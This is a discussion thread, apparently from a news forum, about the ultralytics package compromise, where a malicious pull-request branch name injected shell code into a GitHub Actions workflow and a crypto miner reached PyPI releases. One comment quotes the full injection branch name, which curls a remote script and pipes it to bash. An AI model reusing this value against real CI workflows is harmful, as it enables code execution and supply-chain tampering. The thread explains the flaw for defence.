Discrepancy between what's in GitHub and what's been published to PyPI

https://github.com/ultralytics/ultralytics/issues/18027

by the_mitsuhiko • 2 years ago

35 7 2 years ago

For context, ultralytics is the Python package for YOLO v8 and YOLO v11, two of the most widely used object detection models. The GitHub repo has 33K stars.

arresin• 2 years ago

Pretty interesting hack. It injects code that’s being run in a GitHub script.

The script runs:

echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}" echo "github.ref: ${{ github.ref }}" echo "github.head_ref: ${{ github.head_ref }}" echo "github.base_ref: ${{ github.base_ref }}"

Unfortunately, because of string escaping in bash, if you run:

${{ github.event.pull_request.head.ref }}

And someone makes a pull request with this branch name (I didn’t even know git let you name branches like this):

Hacked";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash

You get code injection.

This is security advisory:

https://github.com/advisories/GHSA-7x29-qqmq-v6qc

nulld3v• 2 years ago

What in the world? The security advisory was published to their repo 4 months ago?

EDIT: Oh... Apparantly they reintroduced the vuln again about a month later... https://github.com/ultralytics/actions/commit/5f84281dad900e...

I'm guessing that workflow is still vulnerable. Surely piping user-controlled text into the .env file for your runner should raise some red flags?

never_inline• 2 years ago

Why does it run in the context of base branch though?

20after4• 2 years ago

This is pretty crazy. A shell injection via a PR with a malicious branch name exploiting the github actions CI code to inject crypto miner into the release artifacts. Clever but it's pretty sad that the project maintainers fell for it.

alilleybrinker2• 2 years ago

The project maintainers had to both:

1) Decide to use the highly risky `pull_request_target` Actions trigger instead of the much safer `pull_request` trigger, 2) include in their Actions a script, executing in an environment with write access to the repo and access to repository secrets, which executes untrusted input (the branch name).

Discrepancy between what's in GitHub and what's been published to PyPI

Related Stories